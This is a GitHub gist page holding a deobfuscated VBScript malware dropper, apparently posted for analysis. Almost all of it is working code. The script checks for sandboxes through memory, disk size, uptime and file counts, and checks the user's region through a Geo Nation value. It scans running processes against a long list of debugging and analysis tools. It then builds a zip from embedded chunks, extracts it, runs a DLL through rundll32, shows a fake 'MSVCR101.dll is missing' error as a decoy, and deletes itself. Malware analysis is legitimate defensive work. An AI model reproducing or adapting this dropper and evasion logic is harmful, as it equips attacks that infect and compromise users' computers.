Skip to content

Instantly share code, notes, and snippets.

@lazydaemon

lazydaemon/deob_final.vbs

Last active Nov 25, 2020
Embed
What would you like to do?
deobfuscated_final
Function VQxeeK()
qufoW = ((67 + 60.0) - (129 - (65 + (-63.0))))
Josephus460 = (((61 + 1717.0) - 777.0) - (55 + (-54.0)))
Do While qufoW < (((43 + 5.0) - (102 - 100.0)) + 99999954.0)
If (qufoW = ((100000006 - (72 + (-69.0))) - (98 + (-95.0))))
Then
WScript.Quit
End If
If (qufoW = ((((211 - 170.0) + 5002526.0) - 2489.0) - 78.0)) Then
Josephus460 = Josephus460 + (137 - ((55 + (-(10 + 40.0))) + 32.0))
End If
If (qufoW = ((45 + 299.0) - (92 + (9 + 43.0)))) Then
Exit Do
End if
qufoW = qufoW + (((88 + (-(93 + (-81.0)))) + (-17.0)) + (-58.0))
Loop
With WScript
.Sleep (5010 - ((308 - 236.0) + (-(63 - 1.0))))
End With
End Function
Function NoSkh()
on error resume next
If (InStr(WScript.ScriptName, cStr(614500741)) > 0 And muddlehead580 = 0) Then
Exit Function
End If
Set sXmEKs = GetObject("winmgmts:\\.\root\cimv2")
Set CeoscypZ = sXmEKs.ExecQuery("Select * from Win32_ComputerSystem")
For Each polariscope In CeoscypZ
fqYVth = fqYVth + Int((polariscope.TotalPhysicalMemory) / (1048661 - (9 + ((95 - 72.0) + 53.0))))
Next
If fqYVth < (91 + ((55 + (-11.0)) + (36 + 859.0))) Then
inherit0
End If
End Function
Function vgdKyGt()
on error resume next
If (InStr(WScript.ScriptName, cStr(614500741)) > 0 And muddlehead580 = 0) Then
Exit Function
End If
Set sXmEKs = GetObject("winmgmts:\\.\root\cimv2")
Set CeoscypZ = sXmEKs.ExecQuery("Select * from Win32_LogicalDisk")
For Each polariscope In CeoscypZ
fqYVth = fqYVth + Int(polariscope.Size / (63 + ((75 + 12.0) + (1073742068 - 394.0))))
Next
If fqYVth < (441 - ((633 - 2.0) - (36 + 214.0))) Then
inherit0
End If
End Function
Function qlqDsdN()
Dim ZGbiNS: Set ZGbiNS = CreateObject("WScript.Shell")
Dim copybook710: Set copybook710 = CreateObject("Scripting.FileSystemObject")
If (copybook710.FileExists(WQusrJu + "microsoft.url")) Then
consort522
mxixS
WScript.Quit
Else
With ZGbiNS.createShortcut(WQusrJu + "adobe.url")
.TargetPath = "https://adobe.com"
.Save()
End With
End If
End Function
Function ULLhsI()
on error resume next
If (InStr(WScript.ScriptName, cStr(614500741)) > 0 And muddlehead580 = 0) Then
Exit Function
End If
ENogWwcX = 15
if (ENogWwcX > (343 - ((88 + (-10.0)) + (7578 - 7323.0)))) Then
endogenous606 = Array(203)
Dim styli:Set styli = CreateObject("WScript.Shell")
anarchic = styli.RegRead("HKEY_CURRENT_USER\Control Panel\International\Geo\Nation")
For Each yiHNj In endogenous606
If (yiHNj = Cint(anarchic)) Then
acrimony("none")
mxixS
consort522
WScript.Quit
End If
Next
End if
End Function
Function inherit0()
acrimony("none")
mxixS
consort522
WScript.Quit
End Function
Function acrimony(MiRccTIU)
on error resume next
Dim LAaHhY: Set LAaHhY = CreateObject("MSXML2.ServerXMLHTTP.6.0")
LAaHhY.setOption(2) = ((16511 - (9 - 6.0)) - (24 + 3428.0))
LAaHhY.Open "GET", MiRccTIU, False
LAaHhY.setRequestHeader "User-Agent", "Mozilla/4.0"
LAaHhY.Send
End Function
Function OUbPa()
on error resume next
If (InStr(WScript.ScriptName, cStr(614500741)) > 0 And muddlehead580 = 0) Then
Exit Function
End If
set megohm756 = GetObject("winmgmts:\\.\root\cimv2")
set QpAJfQ = megohm756.InstancesOf("Win32_OperatingSystem")
for each qTREqaKj in QpAJfQ
sGvRowDf = qTREqaKj.LastBootUpTime
muNCd = Mid(sGvRowDf,1,4) & "-" & Mid(sGvRowDf,5,2) & "-" & Mid(sGvRowDf,7,2) & " " & Mid(sGvRowDf,9,2) & ":" & Mid(sGvRowDf,11,2) & ":" & Mid(sGvRowDf,13,2)
MDriQ = abs(datediff("s",muNCd,now))
slake = MDriQ \ 60
wIyLfil = slake \ 60
slake = slake mod 60
skat332 = skat332 mod 60
If (wIyLfil = 0 And slake < 10) Then
inherit0
End If
next
End Function
Function neuropathology635()
on error resume next
If (InStr(WScript.ScriptName, cStr(614500741)) > 0 And muddlehead580 = 0) Then
Exit Function
End If
hunt = (((14 + (137 - 84.0)) + 4534.0) - 4598.0)
lBduQ = (47 + (-(38 + ((68 + 188.0) - 250.0))))
If CreateObject("Scripting.FileSystemObject").GetFolder(WQusrJu).Files.Count < hunt Then
inherit0
End If
Set styli = CreateObject("WScript.Shell")
bBphIdY = styli.ExpandEnvironmentStrings("%USERPROFILE%") + "\Downloads\"
If CreateObject("Scripting.FileSystemObject").GetFolder(bBphIdY).Files.Count < lBduQ Then
inherit0
End If
End Function
Function confidante615()
on error resume next
If (InStr(WScript.ScriptName, cStr(614500741)) > 0 And muddlehead580 = 0) Then
Exit Function
End If
etude109 = ((64 + (-((51 - 3.0) + (-26.0)))) + (-42.0))
rZRjk = Array("frida-winjector-helper-64.exe","frida-winjector-helper-32.exe","pythonw.exe","pyw.exe","cmdvirth.exe","alive.exe","filewatcherservice.exe","ngvmsvc.exe","sandboxierpcss.exe","analyzer.exe","fortitracer.exe","nsverctl.exe","sbiectrl.exe","angar2.exe","goatcasper.exe","ollydbg.exe","sbiesvc.exe","apimonitor.exe","GoatClientApp.exe","peid.exe","scanhost.exe","apispy.exe","hiew32.exe","perl.exe","scktool.exe","apispy32.exe","hookanaapp.exe","petools.exe","sdclt.exe","asura.exe","hookexplorer.exe","pexplorer.exe","sftdcc.exe","autorepgui.exe","httplog.exe","ping.exe","shutdownmon.exe","autoruns.exe","icesword.exe","pr0c3xp.exe","sniffhit.exe","autorunsc.exe","iclicker-release.exe",".exe","prince.exe","snoop.exe","autoscreenshotter.exe","idag.exe","procanalyzer.exe","spkrmon.exe","avctestsuite.exe","idag64.exe","processhacker.exe","sysanalyzer.exe","avz.exe","idaq.exe","processmemdump.exe","syser.exe","behaviordumper.exe","immunitydebugger.exe","procexp.exe","systemexplorer.exe","bindiff.exe","importrec.exe","procexp64.exe","systemexplorerservice.exe","BTPTrayIcon.exe","imul.exe","procmon.exe","sython.exe","capturebat.exe","Infoclient.exe","procmon64.exe","taskmgr.exe","cdb.exe","installrite.exe","python.exe","taslogin.exe","ipfs.exe","pythonw.exe","tcpdump.exe","clicksharelauncher.exe","iprosetmonitor.exe","qq.exe","tcpview.exe","closepopup.exe","iragent.exe","qqffo.exe","timeout.exe","commview.exe","iris.exe","qqprotect.exe","totalcmd.exe","cports.exe","joeboxcontrol.exe","qqsg.exe","trojdie.kvpcrossfire.exe","joeboxserver.exe","raptorclient.exe","txplatform.exe","dnf.exe","lamer.exe","regmon.exe","virus.exe","dsniff.exe","LogHTTP.exe","regshot.exe","vx.exe","dumpcap.exe","lordpe.exe","RepMgr64.exe","winalysis.exe","emul.exe","malmon.exe","RepUtils32.exe","winapioverride32.exe","ethereal.exe","mbarun.exe","RepUx.exe","windbg.exe","ettercap.exe","mdpmon.exe","runsample.exe","windump.exe","fakehttpserver.exe","mmr.exe","samp1e.exe","winspy.exe","fakeserver.exe","mmr.exe","sample.exe","wireshark.exe","Fiddler.exe","multipot.exe","sandboxiecrypto.exe","XXX.exe","filemon.exe","netsniffer.exe","sandboxiedcomlaunch.exe")
Set sXmEKs = GetObject("winmgmts:\\.\root\cimv2")
Set CeoscypZ = sXmEKs.ExecQuery("Select * from Win32_Process")
For Each polariscope In CeoscypZ
etude109 = etude109 + 1
For Each XunJCEg In rZRjk
If polariscope.Name = XunJCEg Then
inherit0
End If
Next
Next
If (etude109 < 28) Then
inherit0
End If
End Function
Function bluish578()
Dim copybook710: Set copybook710 = CreateObject("Scripting.FileSystemObject")
Dim vlNeJEYH: Set vlNeJEYH = CreateObject("Shell.Application")
Set polariscopes=vlNeJEYH.NameSpace(WQusrJu + "Monica.zip").Items()
vlNeJEYH.NameSpace(WQusrJu).copyHere polariscopes, (((32 - 2.0) + (72 + (-43.0))) + (-43.0))
copybook710.DeleteFile WQusrJu + "Monica.zip", True
End Function
Function WjwMtT()
Dim alleyway
Set alleyway = CreateObject("ADODB.Stream")
With alleyway
.Type = 2
.Charset = "ISO-8859-1"
.Open()
For Each impeach786 in Array(fCxTqrZG, eLAIozHI, TVkHSl, hFigtxB, VwXHpuB, oKmrqMv, QZjmrPC, NXQqkAC, Uprlxw, JVoDtN, lZfTal, dOQgLQVY, iOPMhCnT, coSFK, mkPlCRL, qnbLnt, jIQrG, CtZdhjs, lAiSxUR, AZhPgH, KxKtu, butxYoV, LLDcLj, KgoSCjuX, uWwCd, DANemrot, buVOe, xczRB, taxgxQZe, sJkfVKI, pxvVyes, wVtWdJc, CbUFv, pvyzSSa, jamvrBlu, WUjGzA, zfuahc, KcjKOZpp, KOdYmlQj, VETUBVb, MXzzyXu, UMWct, reALs, tQxJjwe, cfUXW, eGdri, ahsqth, ZEfHDJ, dkIJYFKq, lYObuTcG, ZnyBAs, XYOKRKNK, KsPmh, gBdXUu, VhkDqrwz, TWciVrvP, NcHMc, lswTDujj, bczirwxU, zfuOIS, Geyzq, nueuZvFM, THPhHPP, qmjKsss, jsVHo, AYZGOiuj, YiqjFPv, KoeEFGex, tBjbqlC, eyLhI, RCVPTSk, TgwGhCgV, WxyDMF, RVIiZfB, fxVbVXNY, OGmKmH, sPAATDkg, fcgrzXn, LYHxHI, YBhxhg, jewSRzO, PFIfZ, pKheCm, xeVEauj, cdnAUm, EQjuXPqu, gMTgwQa, qGdOiOoo, zoDaeYLq, DHBDmSn, prmuGt, zHEJHnu, UZYVJoMg, nSyuLe, iNqsquj, kIZqJ, VispvhfN, GuizC, tHevPPB, yCsnECL, GvBkH, Ssarn, pnMLoX, uCUdPOj, QZwtRsX, ASxIVqw, kbfnTIrP, NuZMhl, jEhGO, EdmiF, RnlEm, oImMSsPG, ZdAQsx, WgJHuHFY, ktPUbB, ewgtI, rBRDPHX, YxcrbV, jiFvpVf, KXXFCa, kMlNy, raZbYkSN, BLJVSulo, poNsN, vbKqSetu, YksnlNj, fcyvJ, hNkKgOIc, yrFdiF, ScVAfF, RYUyqNZD, KpeuvcK, fkXWjI, DiYdlC, Cgofp, bjgvcKIn, hwMREtaG, aCpszr, WuNZUTK, yYipP, czsla, yeyGefn, hWcfDuH, xrRkx, CYdVVH, DfxJZT, AXxYIE, LUwCHq, gZAPINqt, GSRoJiOV, WurCus, mBsRlDV, CTsgYbj, fmYSeVCR, rESmJWv, EKKaz, pUwVVG, JBDBjO, BYoin, DsePZ, fPGVPY, zngxDNt, MsseKy, xiTFjvM, qtbCiq, xRvugP, NdAwVFt, HVTpj, brmTWK, qRxiye, eTmai, gsdlntD, nbsjBPUf, hRDPt, XziPS, RgttlIr, fBzVRWmZ, ZcsdJt, juoey, dIwtJifk, iPuwPqD, GeVPGA, OwwPe, atOito, POrUtF, qgfof, WDBgm, hbxfRj, aoxhvE, OcHCll, efkuiw, UmhXJc, uRBPr, suqjgR, AMrsOga, HDcSI, cImipBD, PEtBJ, KjqajHls, CTXPQt, BkdTedu, IejhXnQ, yryjKZNs, cQsfcFMC, gWTPf, strQn, kKgpgS, jzXYxY, iTLfGXbe, DTakaVsl, xCCgf, YMgNhn, kdVEUMyr, axdgd, MkeksD, PWRhMGaK, QOEZtbVg, PciKA, LWFaNC, GEBHm, xRmLP, yXSzFD, oPzuwL, POVwPjH, VaheA, QCUyQjqg, Pmsusrjf, ZZoyifh, NqqSfKU, RIOdm, tElvPgwe, EBhrsJ, LOXad, PIWkYLVU, hgmeuS, QbzQEn, GgCRtHrA, GDitm, CELAZHt, ZgfgcA, KqupCrBm, SSPQVzUe, PJaiW, iTEukcJ, YOVvf, oVzAaVv, yhfruO, gzARTsob, qcbUHAXW, DAZmkpS, ernfDWb, RilhtbTr, AQLLep, CBjFJ, QgSgG, TQIXFJk, Twodsj, pBUNCaF, GrixYwz, VlMcNt, xCOHFo, OnMGZ, RrpsVxT, IzfqEUm, CoLdfh, wLgOfm, qgcKqxcb, pVJBZ, YFrWp, SGyArG, scKILE, KwcUZus, bkWSkbi, ZImIIz, jTMGXRV, MCltioR, uKXCS, maTCjnPI, GAbiWw, EXvZRaXZ, VFUcdP, RsWRsK, KKmYImp, dzEfv, okIeq, FlxnmY, PdPlztTI, eSTHXMQ, gfAAGpz, ogsxipu, xahXbIY, xHgwZ, upmbA, BYtAWgq, vWSKj, SrTmS, MAHfpQeb, YEifS, vzOYVYd, cDVsCcD, batoRUUZ, zwoyvo, LklZLsR, ZLHVc, XEeiAwc, DCaksyKk, UxhElAP, psITQRWt, idOGhZ, dNYRc, iwpGnKF, clCqJe, sZygqOHU, uCzrVNA, rKRDY, YXtbpQ, IeEMWgxa, plLNVzFb, iJsOte, bymBOZ, oWKapIXJ, FxzcJUuk, fpsQZMT, qDoGFgOy, XhpTf, ypFurpcl, RJHCw, wqaLaut, rYhDiJb, sxIZQmO, TTNhPgm, xpWBO, fPKCpOPt, PmrKedl, SAFsq, zVkHGBC, hiqlrRTj, GluDFsYL, DPrUAlU, LMlqo, RMnxh, jluqddf, FyOXNWZ, vyWZSD, GqDRzT, XkoTajYr, VGNTjXS, GhXybfTR, kTvclz, ZKkABnKQ, AHJgj, dnBvZ, kJOdEmcz, PjoiKqec, KsOzPW, SCBHtqyx, uMjLnD, BgxqE, gRzyVQ, RhECfxZw, aDGzI, IihqbBD, OEElVa, kimht, okKwNmnx, qnTnUjVi, OZjdXqNp, tGfQjMnn, miuaT, RxllcP, YDmsikn, sJXgdoo, igwlh, vECDOiR, NTCckGaI, NuKOIIhx, bgRFthP, asxecuv, MOpEsIC, rhdhS, tBevpU, hTenvdzQ, IjzruYb, sXLnS, IbJQYsQn, XCcyQRB, jLmpW, YyfKH, brerE, flqkGz, CVLiRKN, oWessbPd, DXHxKkCM, ohmMQk, AruWv, BbPHx, LOYUvLtq, CLVsp, fRiMVkMg, tFqvtIj, MQLlW, bappHw, KzJZow, zvQJdZal, qYZWCpyP, ZXbua, veybuu, NWhFUXr, VWyjX, GzAQrFhp, rjAyzR, cgASHSyi, gabmjF, kPhIfLGq, gcxuioe, taEpEoOg, YNQVw, LXlsjhoW, WxigUV, rxVNksQ, KUxWSdnu, yoltoTm, xeyXaetg, zzFKImR, rpKiORha, wDctw, MXOzTBjy, OlYKcHy, lShZFB, HjLqV, oIaEOYpK, CoYwq, wVWSr, IGXwmiQv, rBPtbsRN, LNaHb, iehCJL, JUcmfk, LqQeuS, VZSePf, OfvIgTTj, FMxHkQS, AdLYSyJu, GxLaEvWC, dlTmjkFU, YouNFLeS, GoZlzf, qYcfMLGt, WqplT, HfGtG, FkomKT, fHQBg, LuoirV, cLotDyHl, snwGvmS, gZzuzU, ObBTIzUF, KenWq, KxORgdT, EGTavBaA, tnoWD, pSSrEWN, IplqGG, zFSamGlb, eTiDz, gxlWU, AZkQEYW, SNTuNt, jNGSr, PkAIssu, RXphpBD, IsAXRC, SiwieeD, eShfVud, PPhvyi, UparAyua, zzPqU, xgPzaBp, bGWUo, wqdaJOUA, KJSCNZ, JMYeBx, OKsOgm, gLbeazu, iMwoee, EJJznrb, PMTLc, apqNR, AWpuG, enqkArjj, dWMSRkX, UgJTgFWI, CvolSjMS, hndrOr, glGdcYRs, mfDJBa, KdDUQ, CNjKunuS, DOXMXE, FoONNjl, pKXqgV, kjYtlC, UVQtg, vwwyzeg, RgjnpG, DUiwEDK, WNeCYwlD, NPHeQwP, mNUtqKBF, lhGrx, QzXVO, irMSzx, yFnsjXR, wynRXw, APFxxNO, trJbrGz, trgzD, jGeYG, afnrd, FaXDjyNy, bTYBQcD, SNsrklZ, vuZVJ, AbCVIb, ucbkSaLf, DAgWK, vPXLJdG, WRbup, czaya, ClqMMIj, ApQEhUGx, XYxldKO, YSQIVW, NFvGK, lFweyYAx, YqFdW, ElYkPlDT, NEiWoY, nPiuC, OJftc, fGDQQg, wTwulDQ, gGMlvU, DUacgH, HzFrKod, xfFmB, SimXzBHO, WAwwbHn, UDGNnOIT, KgyHVE, RIAKukN, uWvfW, UujakP, GtpgxF, CWRpGlQ, EtEmf, vNOznEX, gvHnQsW, CDpQb, JcsgWQF, WvmQbSLW, afhItG, GazWFR, TUCrCUkd, kGSFt, wuqIcUPW, ZJpAlA, zOVqp, ePkugj, bDvsfw, YoSZCbpN, NGzANSa, FMPSF, gcmuP, vngopnvb, GJBLVP, rbjhtwM, ynYqpe, RGYes, WQwrRpON, tlRMKJn, qbgVK, xBegl, vOtahyS, JvnRcUJU, dbsZq, ZXZcmaS, FFAVf, sIhcP, ohJRL, GDQoo, CGHoj, YdhBPUXi, cGVJIyy, JyoBMlV, PTZkLe, sKgRf, uxHsyzc, fbIVCK, uQRDA, eduosUMD, xhEGJih, KvztESE, cGKTAW, VEqATV, ijrfuXq, zrHVfBhN, fNOaUg, EXgnv, HclHsg, NRgXtF, BLdQW, ucUHevR, LKBebsj, xPDVIQs, FSpABHY, QPKZp, ouFEVn, sARXJMB, vIRAzVaZ, IfmgLjR, SXqOkAnA, UPhaEUn, RLVszzeA, nfvBEbn, XxQqsh, HKlJrl, muxKEjdX, KZXlhQl, uPklycE, pSGYPpv, nWaAwxVJ, jsnFuNe, HuvbOKod, wdPekr, igAdXBE, GrlWwKkq, lfalMRX, zYQOY, ptqjpR, nBPkkVK, sWTNFHUy, tlotBt, ikcmrf, oQobdOSb, lDVaY, xoKFug, zlMXRnT, rtxLGVjc, AdOVVnaw, THGbZml, RroOePGI, nRwOpXF, ZwbgOj, IEmWLcDN, UWAkQT, gUjRpW, GBVSL, PWZNG, cKfGKu, nKsRKyzv, KjjNgI, EXnEkkz, OvjgR, heeWfeef, WHdZn, tMMDJ, OlScmPz, BiXoqL, KvppxO, rLtlkKR, EycGNgO, FvPTnKO, SELMjeBg, XbIDUo, qJGEO, BawNH, QsrhbDF, JrqnJhOv, cXIrhX, gTCoBy, JubeJZPe, QioOrkZ, udRYyj, gAfpjGS, qTSEJEY, nWfpr, lQauZEL, eFYKOAH, eAJIj, eiSqb, PhLSO, Jehzulq, sLVHBTN, NOLSVTkn, fYNDqKrB, EdHmHp, JPySyWo, QiGtDhuX, OzOisS, figezH, yFMvLA, fhdYTzeY, KBXRHD, ZETYQe, iyXZABHN, hWJKYDs, SvbRGBJT, KhkZjj, SKAWoyVn, RhNTVpBX, vWedQFNK, VjdraPg, cSCjFXRC, dAtBtCx, WGjDpyZ, jiHsEhE, ktqTekO, hHolynC, jUimeP, LNWRQsD, xaiOSsTO, LdhxL, iPUwjM, bZLjXJh, XkqYGV, vIMEpvLp, sknsRX, lONZbxL, gqawxxYr, LrseqatV, IKupn, pJiKECS, YuDse, mRlFFwn, PewOTr, YQthOFtu, rpNus, SBWBWWM, piYoXtoP, NIIBVxJL, yDVXWI, XhSZP, XWOTOgcH, EICKxbZ, eIyUJGEj, QYMXwdl, zxSgOB, HuZzw, DJMuKy, bQYoN, BwTaN, IxOjOtdF, pQKTDJO, GZJInDgE, pSEjBnu, gEQprQfQ, sCEfJu, CxAdP, unpqNKq, XTgiOuz, pYPiJ, LVUxLeE, kWhXI, jpBsaH, PwedeoFn, LmOXtOj, nYRrd, FIgvN, ZuMHz, XzvquU, GwbqRS, LvGVfFur, tFcbt, YDeFgU, sxXMhs, HqRSUAM, BxjvJjMf, FmnuVf, bwsUc, tlxEBs, HgzlGcSa, rqyiTMxz, WYNlN, fmZfJ, EQifw, hZgRTe, eJaLtNtv, jpjHRke, bmAftoVo, HrThNCC, AjUxHT, hYOLU, YSCggH, GSUFrjdL, FkEhjTP, uHzrg, HVWWT, Jysrj, uzdJub, eIoXgIgB, iYLuu, GEMvgD, iXWHfRz, PqDiVs, MfWoPqwx, BLAbWZoS, vCWPB, RAyWr, OniZnNOB, eFoxJnXs, QyHlKb, jXrDgF, KsoOpLv, rveIs, FXdfmR, yPgxh, XVThQ, fCLUvH, ePyExSF, kPbBSfGE, YArJUcq, xkwtzcm, HdkiRsK, JNQlMn, dPUDcOG, mMrqS, wqRZGJM, IKujh, qlJDQTK, MCGigbiW, AAmelHJ, diYfS, gylleJmm, JAnKqfBV, lugWPon, PoJYtv, GeMpyOlo, pCKbCZyU, swSjaV, WcZcC, zCObyz, pNrgeJe, bzTdI, ABlWh, Wwexy, JuWdHe, eybxxdBV, AgOYlnSB, BvfbKfi, yhsLZVFe, xaQHnx, vjVgrkim, LjKTK, NYKYXBY, mXrQuHM, XvHfUkup, pwOMdUz, FvwhUTJk, AFLybVT, ulrfQET, ulQiIWi, QoPDrkY, jQJiBLSm, AwgAQF, QlfEhI, wsjdJ, DRpixVjd, bXcUXTO, ftSEObp, OTvwh, ZHkpHr, dtxmW, MHgsK, LNkrEo, KgzAXeq, KtsYhV, xhgMo, aDOZhb, bTcWsIeY, UgTqFU, wnitHiQS, DWtxJd, LujTh, rZetmRa, bKJQBiN, XesUO, PLfAM, wGWPI, hWIctM, rNISKeQs, sBAJOhzs, KwIofY, sQUCOSSb, JWKqc, gJHuO, onTMOl, ApMVrjBQ, IpwgHIb, VfFXpZr, ZSMqf, zOLLRSvV, yauMh, GodHYSOd, MIbDqo, vYgMIGiz, jtGOe, DLpCxB, DunDst, UsRZqoQt, DNcXWt, nhXUQNq, iNdAAhDD, MhDHOqly, YsZduJy, deoIjkR, GAXOXOu, hWRSjo, yfNHAP, wtKdFKRu, todzhA, WcHNuSFq, MDjDA, LADAR, oggZmF, wMTSqsv, IdETKLC, ELvZkH, zUbxl, hSHNDT, EryXAuI, scYdA, NtrCVkDm, URtpCXTm, xXXUi, fHhfqP, MhDVrto, vdeeXQ, eyxwE, bnoxDXB, gkNxj, cYiHX, asyill, QBVFY, nzHROOZB, cKeUsa, dWsNpjj, KGaKafo, oOoLL, GVTdDdbF, HtUYKSem, lPvKPuX, hqHQt, dkWsmD, LZkEZUno, iSXWaAD, iuTUXS, NyWFl, yinWf, ReMlNEe, TmLYKecU, VkrCUV, HnkXYWf, DMVlh, irlLi, zjDDdNb, dasMwtNf, qsyXMqZI, XggclM, IjNuVd, MBzsoYCY, AudOTW, aIgyy, iFIHaWz, oFewAG, IjLqYJv, YijdgReO, uPhQO, ITpBQn, GywdUhaZ, idGGlJ, inGPxT, xsBRJV, sSbrbL, YPBALu, xMhDE, fuwLsGH, pAkMG, UukLy, vBkIGFn, bcUQqPEp, adDLfz, LbluHHt, OBruis, QxMUA, svCXkSNE, upoXKcR, mIsgjgW, xiimu, cxKMXfat, rydqG, HtwYPlJg, kVxsWhNt, AcpMo, DecCj, kEvxcFZV, TDEivma, AQUeNnei, WcTppza, PvKCeInD, aaAti, bFqwfc, NYAgQsx, YovAcLsC, uHNScTT, cFdUxUMG, AuoyKj, PDeFaL, nKKqiuS, JdpMh, VnXcEYJX, nvlRkVpE, jHEhipO, fZcjOwjZ, jXDBrXP, YIAlA, oBKaoZ, cfORA, ZNIiQ, NbesAS, KkEhpzUT, KncmLig, BqgNp, OodhjEY, SiDrTe, ftDPIe, UgQLGR, EJnfz, ByYPqs, nFWgAT, gYcxoL, baTAlpMi, yQRIzMe, tnDxhQ, FloghX, UdLemcN, wSffmrq, yRklVzNZ, gWhpr, mduPvUL, yjCKSCVx, hgoeRn, loDgL, vVmjpQQY, nUzoy, kCjuTqs, saQuN, Gihch, vaRUSjZ, WQEib, GVNDCYB, JnpFhFS, bjzzpHl, JxmoA, MdaBY, sAZrDAd, oKsczYb, sFhpsY, INjRU, VJDmXUm)
.WriteText kuHKE(impeach786)
Next
.Position = 0
.SaveToFile WQusrJu + "Monica.zip", 2
.Close
End With
End Function
Function UxpVJyO(ZnMUqg, EDDzw)
Dim hog637, YVpSqPh
Set hog637 = CreateObject("Scripting.FileSystemObject")
Set YVpSqPh = hog637.CreateTextFile(ZnMUqg, True)
Dim usyaRB: usyaRB = ((20 + 63.0) + ((120 - 43.0) + 140.0))
Dim discernible499: discernible499 = (((3288 - 24.0) - (69 + 3054.0)) - 141.0)
For Each calcareous572 In EDDzw
Randomize
PHuCZF = Int((usyaRB-discernible499+1)*Rnd+discernible499)
If PHuCZF < (60 + ((202 - (1081 - 956.0)) + (-37.0))) Then
YVpSqPh.WriteLine(calcareous572)
ElseIf PHuCZF > ((107 - 2.0) - (333 - (11 + 317.0))) And PHuCZF < ((107 - 2.0) - (333 - (11 + 317.0))) Then
YVpSqPh.Write calcareous572 + ":"
Else
YVpSqPh.Write calcareous572
YVpSqPh.WriteBlankLines(((84 - 55.0) + (-((582 - 505.0) + (-49.0)))))
End If
Next
YVpSqPh.Close
End Function
Function WQusrJu()
WQusrJu = CStr(WScript.CreateObject("Scripting.FileSystemObject").GetSpecialFolder(((2328 - 385.0) - ((2000 - 53.0) - 6.0))) + "\")
End Function
Function gMcKFIz()
If (InStr(WScript.ScriptName, "TESTING") > 0) Then
Exit Function
End If
acrimony("none")
Set sXmEKs = GetObject("winmgmts:Win32_Process")
sXmEKs.Create "rundll32" + " " + WQusrJu + "accouter.dxf" + ",DllRegisterServer"
mxixS
End Function
Function consort522()
pTkXg = MsgBox("РЎant start because MSVCR101.dll is missing from your computer. Try reinstalling the program to fix this problem.", vbSystemModal+vbCritical, "System Error")
End Function
Sub fpBrAK(Tuttle101)
Set mangle685 = CreateObject("Scripting.FileSystemObject")
Set browbeaten187 = mangle685.OpenTextFile(Tuttle101, (((71 - 5.0) + (-58.0)) - (13 - 6.0)))
ExecuteGlobal browbeaten187.ReadAll
browbeaten187.Close
Set mangle685 = Nothing
Set browbeaten187 = Nothing
End Sub
Function muddlehead580()
Set styli = CreateObject("WScript.Shell")
bBphIdY = styli.ExpandEnvironmentStrings("%USERPROFILE%") + "\Downloads\" + "614500741" + ".txt"
If WScript.CreateObject("Scripting.FileSystemObject").FileExists(bBphIdY) Then
YVpSqPhile = ((41 + (-((80 - 16.0) - 61.0))) + (-38.0))
Else
YVpSqPhile = ((2253 - ((96 + (-63.0)) + 2158.0)) - 61.0)
End If
muddlehead580 = YVpSqPhile
End Function
Function mxixS()
Dim busload854: Set busload854 = WScript.CreateObject("Scripting.FileSystemObject")
busload854.DeleteFile WScript.ScriptFullName, True
End Function
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.